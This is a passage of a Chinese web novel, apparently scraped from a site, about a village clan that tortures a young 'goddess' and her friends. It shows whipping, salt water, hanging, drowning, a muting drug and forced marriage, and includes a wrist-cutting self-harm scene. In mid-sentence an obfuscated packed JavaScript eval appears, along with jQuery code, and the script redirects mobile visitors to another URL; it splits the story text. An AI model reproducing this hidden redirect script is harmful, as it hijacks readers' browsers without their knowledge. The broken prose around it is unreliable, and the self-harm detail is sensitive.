上官渡猛地抬头，眼底闪过一丝慌乱，随即又被倔强取代。她死死咬着牙，任凭冰冷的河水浸透衣衫，将她的身子冻得僵硬，却依旧挺直了脊背，跪在河心，望着寨子的方向，眼底慢慢蓄满了泪水。 夜色深到极致，冷水河的寒气几乎要把上官渡的骨头冻透。她的月白苗裙早已被河水泡得湿透，紧紧贴在身上，嘴唇冻得发紫，膝盖跪在河底的碎石上，磨出了一片血痕。 就在她意识渐渐模糊的时候，河岸上传来急促的脚步声。兰榙为首的女人带着人，面色阴沉地走到河边，居高临下地瞥着她：“看来冷水河的寒气，也没让你长记性。” 两个手下立刻跳进河里，粗鲁地拽着上官渡的胳膊，将她从冰冷的河水里拖了出来。她浑身发软，踉跄着几乎站不稳，湿透的裙摆往下滴着水，在脚下积起一滩冰冷的水渍。 “拖回祠堂！”女人厉声吩咐，语气里没有一丝温度，“继续跪着，什么时候想通了，什么时候再停！” 上官渡被架着往祠堂走，夜风一吹，刺骨的寒意让她忍不住发起抖来。她垂着头，凌乱的发丝黏在苍白的脸颊上，嘴角的血迹混着水珠往下淌，眼底却没有一丝屈服的神色。 厚重的祠堂木门再次被推开，又重重关上落锁。她被狠狠推搡着跪在冰冷的青石板上，比河水更甚的寒气顺着膝盖往上钻。油灯的光摇曳不定，映着牌位的影子，祠堂里死寂一片，只剩下她压抑的、浅浅的喘息声。 祠堂里的油灯芯跳了跳，昏黄的光骤然暗了一瞬。 兰榙为首的女人攥着一根浸过桐油的牛皮鞭，鞭梢上还缠着细密的铁刺，在灯下泛着冷光。她缓步走到上官渡面前，居高临下地打量着她——湿透的月白苗裙紧紧贴在身上，裙摆磨得破烂，膝盖渗着血，嘴唇冻得发紫，却依旧挺直着脊背，眼底没有半分求饶的意思。 “还嘴硬？”女人冷笑一声，手腕猛地扬起来。 啪—— 鞭子破空而下，狠狠抽在上官渡的背上。浸了桐油的鞭身带着钝重的力道，铁刺划破布料，瞬间在她白皙的皮肤上留下一道血肉模糊的口子。 上官渡浑身一颤，疼得眼前发黑，却死死咬着牙，没发出一点声音，只有额角的冷汗顺着苍白的脸颊往下淌。 “说！以后还敢不敢和那个外来丫头来往？”女人甩着鞭子，又是狠狠一抽。 鞭子落在旧伤上，疼得她几乎蜷缩起来，指节抠着冰冷的青石板，抠出深深的印痕。她抬起头，眼底浮着一层水雾，却透着倔强的光：“我没错。” “嘴硬！”女人被彻底激怒，鞭子一下接一下地落在她的背上、胳膊上，撕裂的声响混着油灯的噼啪声，在死寂的祠堂里回荡。 很快，上官渡的身上就布满了纵横交错的血痕，湿透的苗裙被染成暗红，她的身子晃了晃，终究是撑不住，重重栽倒在青石板上，意识渐渐模糊，却依旧喃喃着：“她是我的朋友……” 祠堂里的血腥味混着寒气，弥漫在昏黄的灯影里。上官渡瘫在青石板上，后背的鞭痕血肉模糊，每动一下，都像是有无数根针在扎着骨头。 兰榙为首的女人嫌恶地瞥了她一眼，朝身后的人抬了抬下巴。两个手下立刻端着一个木桶过来，桶里的水泛着冷光，还浮着一层细密的盐粒，在油灯下闪着刺眼的光。 “不肯认错是吧？”女人蹲下身，手指勾起上官渡的下巴，语气里满是狠戾，“那就让你好好尝尝，什么叫疼入骨髓。” 话音未落，她抬手示意手下动手。冰凉的盐水兜头浇下，瞬间浸透了上官渡破烂的衣衫，渗进后背的鞭痕里。 “呃——” 上官渡浑身剧烈地抽搐了一下，像是被扔进了滚烫的开水里，又像是被冰锥狠狠扎进血肉。蚀骨的疼顺着毛孔钻进四肢百骸，疼得她眼前发黑，几乎要晕厥过去，冷汗混着盐水顺着脸颊往下淌，嘴里溢出压抑的闷哼声。 “现在知道错了吗？”女人的声音像淬了冰的刀子，在耳边响起。 上官渡咬着牙，唇瓣被咬得鲜血淋漓，她缓缓抬起头，眼底蒙着一层水雾，却依旧透着不肯屈服的光，哑着嗓子，一字一句道：“我……没……错。” 祠堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037594|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的油灯被穿堂风吹得剧烈摇晃，光影在斑驳的墙壁上扭曲出狰狞的模样。上官渡瘫在青石板上，浑身湿透，盐水浸着后背的鞭痕，疼得连呼吸都在发颤。 兰榙为首的女人看得不耐烦，朝手下使了个眼色。两人立刻上前，拽住上官渡的胳膊，粗暴地将她从地上拖起来。一根粗麻绳甩了过来，死死勒住她的手腕，随即猛地向上一扯。 上官渡的身子被狠狠吊在房梁上，脚尖堪堪离地，全身的重量都压在被勒得生疼的手腕上。后背的鞭痕被扯得裂开，鲜血混着盐水往下淌，滴落在青石板上，晕开一朵朵刺目的红。 她疼得浑身痉挛，凌乱的发丝黏在苍白的脸颊上，嘴唇被咬得毫无血色，却依旧昂着头，眼底的倔强没被磨去分毫。 “吊到你认错为止。”女人走到她面前，抬手捏住她的下巴，语气冷得像冰，“我倒要看看，你的骨头能有多硬。” 说完，她甩开手，带着人转身离开，厚重的木门“哐当”一声关上，落了锁。祠堂里只剩下油灯微弱的噼啪声，和上官渡压抑到极致的喘息，在死寂的空气里，一寸寸漫开。 祠堂里的寒气越来越重，挂在房梁上的上官渡意识已经有些恍惚，手腕被麻绳勒得麻木，后背的鞭痕还在渗着血，每一次呼吸都带着撕裂般的疼。 木门“吱呀”一声被推开，冷风裹着枯叶灌进来，吹得油灯的光摇摇欲坠。兰榙为首的女人手里拎着一个竹篓，站在阴影里，嘴角勾着一抹阴恻恻的笑。 她抬手掀开竹篓的盖子，里面窸窸窣窣的声响瞬间弥漫开来。几条通体黝黑的小蛇扭动着身子，吐着猩红的信子，被她毫不留情地倒进了祠堂。 “外来的丫头让你心软，这些小东西可不会。”女人的声音像淬了毒的冰，“好好陪着它们吧，什么时候想通了，什么时候喊我。” 说完，她转身带上门，落锁的声响在死寂的祠堂里格外刺耳。 小蛇在青石板上快速爬行，冰冷的鳞片擦过上官渡垂落的裙角。上官渡浑身一颤，意识猛地清醒了几分，她最怕的就是这种滑腻腻的生物，可此刻被吊在半空，连躲的余地都没有。 一条小蛇顺着她的裙角往上爬，冰凉的触感贴着皮肤蔓延，她死死咬着唇，不让自己发出一点求饶的声音，眼底却忍不住泛起了一层水雾。 天刚蒙蒙亮，绫司司就跌跌撞撞地跑到兰榙祠堂外，头发散乱，脸上还带着昨天被打的淤青，膝盖重重地磕在冰冷的石阶上。 守祠的人刚要呵斥，就被她嘶哑的声音打断：“我求你们，放了上官渡吧！” 她的额头抵着石阶，脊背绷得紧紧的，双手在身侧攥成拳，指节泛白：“所有的错都是我的，是我缠着她做朋友，是我带她去热闹的地方，和她没关系！” 兰榙为首的女人闻声走出来，居高临下地睨着她，眼神里满是轻蔑：“一个外来的丫头，也配来求我？” 绫司司抬起头，脸上满是泪痕，眼底却透着执拗的光。她重重地磕了一个头，额头撞在石阶上，发出沉闷的声响，渗出血丝：“我求你，打我骂我都可以，把她放了行不行？她被吊了一夜，还被泼了盐水，你们别再折磨她了！” 女人冷笑一声，抬脚踩在她的手背上，碾了碾，看着她疼得浑身发抖，却不肯缩回手的模样，语气更冷：“求我？可以。去寨门口跪着，跪满三天三夜，不许吃喝，不许起身。什么时候跪够了，我就什么时候放她。” 绫司司浑身一震，看着女人冷漠的眼神，又想起祠堂里上官渡可能正受着煎熬，她几乎没有犹豫，咬着牙应道：“好，我跪！我现在就去！你说话要算话，一定要放了她！” 祠堂里的油灯忽明忽暗，映着上官渡惨白的脸。她被粗麻绳吊在房梁上，手腕勒出一圈青紫的血痕，后背的鞭伤还在渗着血珠，湿透的月白苗裙早已被染得暗红一片。 兰榙为首的女人嫌她刚才闷哼出声不够安分，上前一步，攥住她垂落的发丝狠狠一扯。上官渡被迫仰起头，脖颈绷出脆弱的弧度，嘴角刚结痂的伤口瞬间裂开，血丝顺着下巴往下淌。 “还嘴硬？”女人的声音淬着寒意，抬手就朝着她的脸颊甩了一巴掌。脆响在死寂的祠堂里炸开，上官渡的头偏到一边，脸颊迅速浮起红肿的掌印。 她疼得浑身发颤，却死死咬着牙，眼底翻涌着怒意，愣是没再发出一点声音。 女人见状更怒，抬脚狠狠踹在她的腰侧。上官渡的身子剧烈晃动，麻绳摩擦着手腕的伤口，疼得她眼前阵阵发黑。她垂下眼睫，凌乱的发丝遮住眼底的水雾，只留一股不肯低头的倔强。 寨门口的风刮得凌冽，卷起地上的枯叶打在绫司司的脸上。她已经跪了整整一天一夜，膝盖磨得血肉模糊，嘴唇干裂得渗出血丝，却依旧挺直着脊背，目光死死盯着祠堂的方向。 兰榙为首的女人带着人走过来时，绫司司的意识已经有些涣散。她听见女人冷哼一声，随即一只脚狠狠踹在她的胸口。 “扑通”一声，绫司司重重摔在地上，胸腔传来一阵剧痛，她猛地咳出一口血，视线瞬间模糊。 “不过是个外来的贱丫头，也配跟我谈条件？”女人蹲下身，揪着她的头发，迫使她仰起头，“你以为跪在这里，我就会放过上官渡？” 绫司司咬着牙，想骂她言而无信，却只发出一阵嘶哑的气音。女人嫌恶地甩开手，扬声道：“给我打！打到她昏死过去为止！” 手下的人立刻上前，拳脚如雨点般落在绫司司的身上。她蜷缩着身子，疼得浑身痉挛，却还在喃喃喊着“放了渡渡”，直到一记重拳砸在她的后脑，她眼前一黑，彻底失去了意识。 再次醒来时，绫司司只觉得手腕传来撕裂般的疼。她费力地睁开眼，发现自己竟和上官渡一样，被粗麻绳吊在祠堂的房梁上。 不远处，上官渡低垂着头，浑身是伤，气息微弱。绫司司的眼泪瞬间涌了上来，她想喊她的名字，却只能发出一阵破碎的呜咽。 祠堂里的油灯昏黄如豆，映着房梁上两道摇摇欲坠的身影。上官渡垂着头，浑身的伤口渗着血，气息微弱得像一触即碎的烛火。 兰榙为首的女人端着一碗黑漆漆的药汁走过来，眼神里淬着寒意。她抬手捏住上官渡的下巴，硬生生将她的脸扬起来。 “不肯认错，不肯闭嘴，那就别怪我心狠。”女人的声音冷得像冰，另一只手端起药碗，就往她的嘴里灌。 苦涩辛辣的药汁呛得上官渡剧烈咳嗽，她拼命挣扎，却被旁边的人死死按住肩膀。药汁顺着嘴角往下淌，沾湿了她破烂的裙角，留下一片乌黑的痕迹。 一碗药灌完，女人甩开手，看着上官渡咳得浑身发抖，冷笑一声：“从今往后，你就是个哑巴神女。看你还怎么护着那个外来的丫头。” 上官渡喉咙里火烧火燎地疼，她张了张嘴，想骂她言而无信，却只能发出一阵嘶哑的气音，半点清晰的话语都吐不出来。眼底的绝望和恨意交织着，泪水混着血水，顺着苍白的脸颊往下淌。 祠堂里的血腥味呛得人发慌，绫司司被吊在房梁上，手腕勒得钻心疼，她看着不远处的上官渡——对方喉咙红肿，嘴唇颤抖着，却连一句完整的话都发不出来，眼底的绝望几乎要溢出来。 绫司司的眼泪瞬间砸落，她朝着兰榙为首的女人嘶哑地喊：“我求你……求你放过她！她什么都没做错！要罚就罚我，我替她受所有的罪！” 女人缓步走到她面前，抬手捏住她的下巴，指甲狠狠嵌进肉里：“替她受？你配吗？”她甩开手，朝着手下使了个眼色，“既然这么想替人受罪，那就把她放下来，跪到碎瓷片上反省，什么时候跪得血流满地，什么时候再开口求情！” 两个手下立刻上前，解开麻绳。绫司司重重摔在地上，还没来得及喘息，就被人拖着往祠堂角落走。那里堆着一地锋利的碎瓷片，月光透过窗缝照上去，泛着冷森森的光。 她被强行按跪在碎瓷片上，尖锐的瓷片瞬间刺穿裤腿，扎进膝盖的皮肉里。剧痛顺着骨髓蔓延开来，绫司司疼得浑身痉挛，却死死咬着牙，抬头望着女人，声音发颤却坚定：“我跪……求你，放了上官渡……” 暮色压着苗寨的青瓦时，沈司南和许祭正提着药草往祠堂赶，刚绕过竹林拐角，就被几个守着的兰榙人拦住了去路。 “兰榙办事，闲杂人等退开。”为首的人面色冷硬，手里的木棍横在两人身前。 沈司南皱眉，声音沉了几分：“我们要见绫司司和上官渡。” 许祭也上前一步，攥紧了手里的药包：“祠堂里到底是什么规矩？把两个姑娘折腾成这样，你们兰榙就是这么守寨的？” 这话彻底惹恼了兰榙的人。他们对视一眼，瞬间围了上来，木棍带着劲风砸下来。沈司南和许祭虽有反抗的力气，却架不住对方人多，很快就被反剪住双手，粗糙的麻绳勒得手腕生疼。 “带走！关到柴房去！” 两人被粗暴地拖拽着往寨子西侧的柴房走，一路磕磕绊绊，手背被树枝划出道道血痕。厚重的木门“哐当”一声关上，落了锁，柴房里只剩堆着的枯木和弥漫的灰尘。 许祭狠狠踹了一脚门板，怒声道：“这群疯子！司司和渡渡还在祠堂里受苦！” 沈司南靠在冰冷的木墙上，眼底翻涌着寒意，指尖死死攥着一片被扯碎的药草叶，声音低哑却带着不容置疑的力道：“等着，我一定会想办法，把他们都救出来。” 祠堂里的光线依旧昏暗，油灯的光晕勉强照亮角落堆着的粗布衣裳。兰榙为首的女人嫌恶地瞥了眼上官渡身上破烂的月白苗裙，朝手下抬了抬下巴。 两个兰榙的人立刻上前，解开吊着上官渡的麻绳。她重重摔在青石板上，浑身的伤口被震得剧痛，只能蜷缩着身子，发出嘶哑的气音。 “神女的身份？从今天起，你连寨里的丫鬟都不如。”女人冷笑一声，示意手下扒掉她身上的裙衫。粗糙的布料摩擦着渗血的伤口，疼得上官渡浑身发颤，却只能无力地挣扎。 很快，一件灰扑扑的粗布丫鬟服被强行套在她身上。领口磨着脖颈的擦伤，衣摆短得露着脚踝，料子硬得硌人，和她往日清冷的模样判若两人。 女人走上前，伸手捏着她的下巴打量片刻，满意地勾了勾嘴角：“这才像样。往后，你就在祠堂里打杂，做最卑贱的活，好好记住自己的本分。” 上官渡看着身上的粗布衣裳，眼底蓄满了泪水，却连哭出声的力气都没有，只能任由绝望将自己淹没。 祠堂的窗棂漏进几缕惨淡的天光，上官渡穿着灰扑扑的粗布丫鬟服，跪坐在冰冷的青石板上。面前摊着泛黄的寨规竹简，手边放着一支磨秃的狼毫，砚台里的墨汁凝着一层薄冰。 兰榙的人将一摞竹简摔在她面前，竹简碰撞的脆响惊得她浑身一颤。“抄！把寨规抄一百遍，少一个字，就罚你去冷水河跪一夜！” 她的手腕还留着被麻绳勒出的青紫血痕，握笔的手止不住地发抖，墨汁滴落在竹简上，晕开一团团黑渍。喉咙里火烧火燎的疼，哑药的余劲还没散去，连吞咽口水都带着涩意。 后背的鞭痕蹭着粗糙的布料，每动一下都像是针扎。她咬着牙，一笔一划地在竹简上写着，字迹歪歪扭扭，远不如往日清秀。写着写着，眼泪就掉了下来，砸在竹简上，晕开了墨迹，却不敢停下分毫。 祠堂外传来风声，夹杂着远处的鸟鸣，她抬眼望向窗棂外的天光，恍惚间想起和绫司司在后山采野姜花的日子，指尖的力道不由得重了些，墨痕深深嵌进竹简的纹路里。 祠堂的角落摆着一口半人高的大水缸，缸里的水是从冷水河挑来的，冰得刺骨。 兰榙的人嫌绫司司跪在碎瓷片上还在低声念叨“放了渡渡”，直接拽着她的胳膊往水缸边拖。她的膝盖磨得血肉模糊，被扯着走一步，地上就落一个血印子，嘴里的哀求声都带着血沫。 “聒噪的贱丫头！”为首的女人厉声喝骂，示意手下松手。两人猛地一推，绫司司的身子失去平衡，整个人头朝下栽进了水缸里。 冰冷的河水瞬间灌满她的口鼻，窒息的痛苦攥紧心脏，她拼命挣扎，四肢却被冻得僵硬。兰榙的人死死按着她的后颈，不让她浮出水面，直到她的动作越来越微弱，才像拎死狗一样把她拽出来。 绫司司瘫在地上，浑身湿透，呛得不停咳嗽，意识都在发飘，却还睁着通红的眼睛，哑着嗓子喊：“渡渡……救渡渡……” 柴房的木窗漏进一丝残月的冷光，沈司南靠在墙角，指尖捻着一只通体莹白的蛊虫，虫身泛着淡淡的荧光，是苗寨里用来寻人引路的引路蛊。 他咬破指尖，将一滴血珠滴在蛊虫的触角上。蛊虫立刻躁动起来，在他掌心快速爬动，循着血脉相连的气息感知方向。 “去找司司。”沈司南的声音压得极低，带着一丝不易察觉的颤抖。他抬手拨开窗棂的缝隙，将引路蛊轻轻放了出去。 莹白的蛊虫振着薄翅，悄无声息地飞出柴房，掠过寂静的寨巷，朝着祠堂的方向飞去。沈司南盯着蛊虫消失的方向，眼底翻涌着暗潮，指节攥得发白——只要蛊虫找到绫司司，就能循着它留下的气息，破开这重重看守。 引路蛊停在绫司司摊开的掌心里，莹白的荧光映亮她满是血污的指尖。她撑着最后一丝力气，咬破手指，在自己破烂的衣袖内侧，用鲜血歪歪扭扭地写了一行字：兰榙囚渡渡、司南、许祭于寨，速援。 她小心翼翼地把衣袖撕下来，叠得方方正正，系在引路蛊的触角上。指尖抚过蛊虫微凉的翅翼，哑着嗓子低语：“去找梨春梦……一定要找到她……” 引路蛊似是听懂了，振翅飞起，绕过守在祠堂门口的兰榙人，顺着窗棂的缝隙钻出去，朝着寨外疾飞而去。绫司司望着蛊虫消失的方向，眼中的光一点点暗下去，身子一软，重重栽倒在青石板上。 夜露凝霜，苗寨的石板路泛着冷白的光。梨春梦攥着染血的衣袖碎片，刚摸进祠堂外的竹林，就被几道黑影团团围住。 兰榙为首的女人从树影里走出来，手里把玩着一根缠铁刺的鞭子，嘴角勾着讥诮的笑：“倒是没想到，还有不怕死的敢来蹚浑水。” 梨春梦脸色一沉，反手抽出腰间的短刀，却没料到兰榙的人早有埋伏。数根麻绳破空而来，死死缠住她的手腕，短刀“哐当”一声掉在地上。她被强行按在冰冷的石板上，后背的衣衫被鞭子划破，渗出细密的血珠。 “把她也拖进祠堂，和那几个疯子关在一起。”女人冷声吩咐。 梨春梦被拽着往祠堂走，路过窗棂时，她瞥见里面吊着的绫司司和跪坐抄寨规的上官渡，眼底瞬间燃起怒火，厉声骂道：“兰榙的杂碎！你们不得好死！” 守祠的人狠狠踹了她的膝盖一脚，迫使她跪倒在地，随即重重关上了祠堂的木门，落锁的声响在寂静的夜里格外刺耳。 晨雾漫过苗寨的青石板，梨霄宫一身素色苗裙，鬓边的银饰压得极低，一步步走到兰榙祠堂前。她没有哭喊，只是对着守祠的人深深一揖，声音平静却带着不易察觉的颤抖：“我是梨春梦的姐姐梨霄宫，求见兰榙主事。” 兰榙为首的女人闻声出来，斜睨着她：“怎么？想替你那不知天高地厚的妹妹求情？” 梨霄宫屈膝跪下，膝盖磕在冰冷的石阶上，发出沉闷的声响。她抬眸时，眼底盛着恳求和隐忍：“春梦年少莽撞，冲撞了兰榙的规矩，是我这个做姐姐的管教不严。所有责罚，我愿替她受。只求你们，放过她，也放过祠堂里的其他人。” 女人绕着她走了一圈，指尖漫不经心地划过她鬓边的银饰，冷笑一声：“替她受？你拿什么替？梨家的脸面？还是你这双能绣出百鸟朝凤的手？” 梨霄宫攥紧了掌心，指甲嵌进肉里，一字一句道：“我愿将梨家世代相传的蛊经交给兰榙，再在祠堂前跪满七日七夜，任凭处置。只求你们，高抬贵手。” 8. 渡渡 晨雾还没散透，兰榙的人就把上官渡从祠堂里拽了出来。她身上那件灰扑扑的丫鬟服被换了件素白嫁衣，料子粗糙，连绣花都是歪歪扭扭的，衬得她脸色惨白如纸，喉咙里发不出半点声音，只能睁着一双通红的眼，死死盯着被押来的沈司南。 为首的女人站在祠堂前的空地上，声音冷得像冰：“沈司南，你不是想救绫司司吗？娶了上官渡，我就放了她。”她抬手拍了拍上官渡的肩膀，指尖的力道带着威胁，“渡渡，你可是兰榙的神女，嫁给他，对你，对我们都好。” 上官渡浑身发颤，猛地往后缩了缩，眼底满是抗拒。她看着沈司南，嘴唇翕动着，却只能发出嘶哑的气音，像是在说“别答应”。 沈司南的手腕还被麻绳捆着，他挣了挣，眼底翻涌着怒意和心疼：“我不娶。”三个字掷地有声，惊得周围的兰榙人都变了脸色。 “你敢？”女人厉声喝道，抬手就朝着旁边的绫司司踹了一脚，绫司司本就虚弱不堪，当即跌坐在地，咳出一口血，“你不娶，我现在就杀了她！” 沈司南的瞳孔骤缩，看着绫司司苍白的脸，又看着上官渡眼底的绝望，指节攥得发白，周身的气息冷得吓人，却一句话也说不出来。 沈司南的目光掠过绫司司嘴角的血迹，又落在上官渡那双写满哀求的红眸里，攥紧的拳头缓缓松开，眼底的怒意被一层冰冷的隐忍覆盖。 “我娶。” 三个字落下，祠堂前的空气瞬间静得可怕。上官渡浑身一颤，不敢置信地看着他，眼泪毫无预兆地砸落下来，湿透了胸前的素白嫁衣。 兰榙为首的女人满意地勾了勾嘴角，挥手让人解开沈司南手腕上的麻绳：“识时务者为俊杰。三日后，就在这祠堂前拜堂，少了半分礼数，我照样能让绫司司生不如死。” 沈司南揉着发麻的手腕，目光扫过被押在一旁的许祭、梨春梦，最后落在绫司司身上，眼底飞快地闪过一丝不易察觉的信号。他走到上官渡身边，伸手扶住她摇摇欲坠的身子，声音压得极低，只有两人能听见：“放心，三日之内，我定带所有人离开这里。” 上官渡的身子一僵，抬头看向他，泪眼朦胧里，终于捕捉到他眼底深藏的谋划。 许祭趁着兰榙的人换班的空隙，从柴房的通风口钻了出去。夜色如墨，他猫着腰穿梭在寨巷的阴影里，刚摸到祠堂后院的墙角，就被几道黑影猛地按在了地上。 “好大的胆子，还敢乱跑？”兰榙为首的女人冷笑着从阴影里走出来，身后跟着一个眉眼娇俏却满脸傲气的少女——正是她的女儿兰溪溪。 兰溪溪瞥了眼被摁得动弹不得的许祭，嫌弃地皱了皱眉，却还是娇声对女人道：“娘，我瞧着他模样还算周正，不如就让他做我的夫婿吧。” 女人闻言，当即拍板，抬脚踩在许祭的背上，力道重得让他闷哼出声：“听见了？娶了我女儿，我不仅饶你一命，还能让你在寨里活得体面。要是不答应，我现在就把你扔进蛇窟，喂那些饿了三天的毒蛇！” 许祭猛地挣了挣，后背的伤口被磨得生疼，他仰头看着女人阴鸷的脸，又扫过兰溪溪满脸的得意，眼底燃着怒火，咬牙骂道：“做梦！我就是死，也不会娶一个蛮横无理的草包！” 许祭被关在兰榙的杂物房里，手脚被粗麻绳捆在木桩上，后背的擦伤混着血痂，每动一下都钻心地疼。 兰溪溪捏着一根沾了盐水的鞭子，慢悠悠地踱到他面前，眼底满是戏谑的狠劲。她抬手，鞭子带着风声抽在许祭的胳膊上，盐水渗进皮肉里，疼得他浑身一颤，额角瞬间冒出冷汗。 “不娶我？”兰溪溪俯下身，指甲狠狠掐住他的下巴，逼着他抬头，“你以为你还有选吗？” 她嫌鞭子打得不够解气，又让人端来一碗滚烫的药汁——不是治病的，是掺了碎花椒的滚烫水。她捏着许祭的鼻子，硬生生灌了下去。辛辣滚烫的液体顺着喉咙滑下，烧得许祭喉咙发疼，忍不住剧烈咳嗽，咳得眼泪都涌了出来。 兰溪溪看着他痛苦的模样，笑得越发得意，抬脚踢了踢他的膝盖：“好好受着，什么时候想通了，什么时候喊我一声好娘子，我就饶了你。” 许祭偏过头，死死咬着牙，硬是没发出一点求饶的声音，眼底的恨意几乎要凝成实质。 兰溪溪甩了甩手里沾着血痕的鞭子，蹲下身，指尖玩味地划过许祭胳膊上渗血的鞭伤。许祭疼得绷紧了脊背，却依旧把头扭向一边，连眼神都吝于给她。 “疼吗？”她笑靥如花，语气里却淬着冰碴，“现在改口还来得及，说一句愿意娶我，我就立刻让人给你松绑，再请最好的医婆来治你的伤。” 许祭的喉结滚了滚，干裂的嘴唇动了动，吐出的却只有冰冷的两个字：“做梦。” 兰溪溪脸上的笑瞬间僵住，她猛地站起身，抬脚狠狠踹在许祭的小腹上，声音尖利得刺耳：“不识抬举的东西！我看你能嘴硬到什么时候！” 祠堂西侧的偏房里，铺着一匹匹月白的绸缎，料子泛着柔和的珍珠光泽，触手冰凉顺滑。兰榙的人扯着上官渡走进来，力道虽重，却没像往日那般粗鲁，许是忌惮着三日后的婚事。 为首的女人指着案上那件纯白嫁衣，语气里带着几分刻意的温和：“这是给你备下的，换上。三日之后，风风光光嫁去沈家。” 嫁衣的领口绣着缠枝银莲，针脚细密得挑不出半点错处，裙摆坠着细碎的白玛瑙流苏，走动时会漾出细碎的光。几个婆子上前，小心翼翼地替她褪去身上灰扑扑的丫鬟服，将嫁衣披在她肩头。 月白的料子衬得她肤色愈发苍白，却也勾勒出她纤细的身段，鬓边被插上一支羊脂玉簪，簪头垂着一缕白绒流苏，随着她的动作轻轻晃动。 上官渡望着铜镜里的自己，一身白嫁衣清艳绝尘，眼底却没有半分喜气。她张了张嘴，喉咙里依旧只有嘶哑的气音，眼泪砸在嫁衣下摆的银莲纹样上，晕开一小片深色的水渍。 沈司南被兰榙的人押着路过偏房时，恰好撞见上官渡站在铜镜前。 月白嫁衣裹着她单薄的身子，银莲绣纹贴着脖颈蜿蜒，羊脂玉簪垂着的白绒流苏轻轻晃，衬得她眉眼间的清艳里，裹着一层化不开的绝望。 他的脚步猛地顿住，瞳孔骤然收紧。心口像是被什么东西狠狠攥住，疼得他呼吸一滞。从前那个站在苗寨吊脚楼边，眉眼清冷、笑靥浅浅的神女，此刻穿着本该象征圆满的嫁衣，却像一朵被寒霜冻透的白莲，连指尖都在发颤。 兰榙的人狠狠推了他一把，厉声呵斥：“看什么看？赶紧走！” 沈司南踉跄着站稳，目光却死死锁在上官渡身上，喉结滚了滚，声音压得极低，带着只有两人能懂的坚定：“等我。” 上官渡的身子猛地一颤，缓缓转头看向他，眼眶瞬间红透，大颗大颗的眼泪砸在白嫁衣上，晕开一圈圈浅痕。 夜色漫进偏房，月光淌在月白嫁衣的银莲绣纹上，泛着冷寂的光。 上官渡坐在妆台前，指尖攥着一支从发间拔下的银簪——簪尖锋利，是她从前戴惯了的旧物。她望着铜镜里一身嫁衣的自己，苍白的脸上没有半分血色，喉咙里发不出半句求救的话，只有沈司南那句“等我”在耳边反复回响，却敌不过兰榙的威逼，敌不过绫司司咳血的模样。 她抬手，将银簪狠狠抵在腕间，那里还留着被麻绳勒出的青紫痕迹。指尖微微用力，锋利的簪尖划破皮肉，温热的血珠瞬间涌了出来，顺着腕骨往下淌，染红了月白的嫁衣袖口，像开了一朵凄厉的红梅。 疼痛袭来时，她反而轻轻闭上了眼，眼泪从眼角滑落，砸在妆台的铜镜上，碎成一片冰凉的光。她不想嫁给沈司南，不想做兰榙的傀儡，更不想拖累绫司司、沈司南和许祭。 就在意识渐渐发飘时，门外传来一阵急促的脚步声，紧接着是兰榙婆子惊慌的叫喊：“不好了！神女她……” 兰榙的人撞开偏房门时，上官渡的身子正软倒在妆台前，腕间的血染红了大片月白嫁衣，触目惊心。 为首的女人见状，气得脸色铁青，厉声喝道：“把她给我吊起来！死？没我的允许，她连死的资格都没有！” 两个壮汉立刻上前，扯过粗硬的麻绳，粗暴地缠上上官渡的手腕。她本就失血虚弱，被硬生生拽离地面时，只发出一声微弱的气音，意识都在阵阵发飘。 麻绳勒进腕间的伤口，鲜血顺着麻绳往下滴，落在青砖地上，晕开一小滩暗红。她被吊在偏房的房梁下，嫁衣凌乱地垂着，羊脂玉簪掉在地上，碎成两半。 女人走到她面前，抬手狠狠捏住她的下巴，眼神狠戾：“想一死了之？我告诉你，三日之后的婚礼，你必须去！否则，我就让绫司司她们，给你陪葬！” 上官渡缓缓睁开眼，眼底没有半分光亮，只有一片死寂的绝望，任由眼泪混着血水，顺着脸颊往下淌。 兰溪溪甩了甩手里的马鞭，鞭梢上还沾着未干的血渍。她蹲在被捆在木桩上的许祭面前，指尖轻佻地挑起他的下巴，逼着他抬头看自己。 “许祭，”她声音娇俏，眼底却藏着几分偏执的狠劲，“你看着我，告诉我，你到底爱不爱我？” 许祭的嘴角还凝着干涸的血痂，他偏头躲开她的触碰，喉间溢出一声冷笑，声音沙哑却带着刺骨的嘲讽：“爱你？你也配？” 兰溪溪脸上的笑意瞬间碎裂，她猛地站起身，扬手就将鞭子抽在他身上，厉声尖叫：“许祭！你找死！” 偏房的门被猛地推开，兰榙的人抬着一个檀木箱子进来，箱盖掀开的瞬间，一抹黑红交织的艳色撞入上官渡的眼底。 那是一身黑底红纹的嫁衣，衣摆绣着狰狞的缠枝毒花，领口滚着猩红的狐毛，金线勾勒的纹路里透着一股逼人的戾气，和之前那件月白嫁衣的清柔判若云泥。 “换上。”为首的女人语气冷硬，全然不顾上官渡腕间还在渗血的伤口，示意婆子上前。粗糙的手拽着她的胳膊，将那件沉重的嫁衣强行套在她身上。黑红的料子蹭过溃烂的皮肉，疼得她浑身发颤，却连挣扎的力气都没有。 女人绕着她打量一圈，看着嫁衣衬得她脸色惨白如纸，眼底却淬着恨意，满意地笑了：“这才是兰榙该有的新娘子模样。” 上官渡垂着眼，看着衣摆上那朵开得妖冶的毒花，指尖微微蜷缩，血珠从腕间滴落，落在花瓣上，像是给这嫁衣又添了一笔血色。 沈司南被押着路过偏房时，正撞见上官渡被几个婆子架着站在窗边。 那身黑红嫁衣裹着她单薄的身子，黑底红纹的毒花绣得张扬又戾气，猩红的狐毛蹭着她苍白的脖颈，衬得她像一朵被强行染上血色的白梅，凄美又绝望。 他的呼吸骤然一窒，比初见白嫁衣时的心疼更甚——那身月白是兰榙的伪装，这身黑红才是他们剥不掉的枷锁。他猛地挣开押着他的人，眼底翻涌着滔天的怒意，声音嘶哑得几乎破碎：“兰榙！你们到底想做什么？！” 旁边的人立刻扑上来按住他，拳头狠狠砸在他的背上。沈司南却死死盯着上官渡，目光里的疼惜与决绝缠在一起，一字一句，清晰地传进她的耳朵里：“阿渡，撑住。我一定会带你出去。” 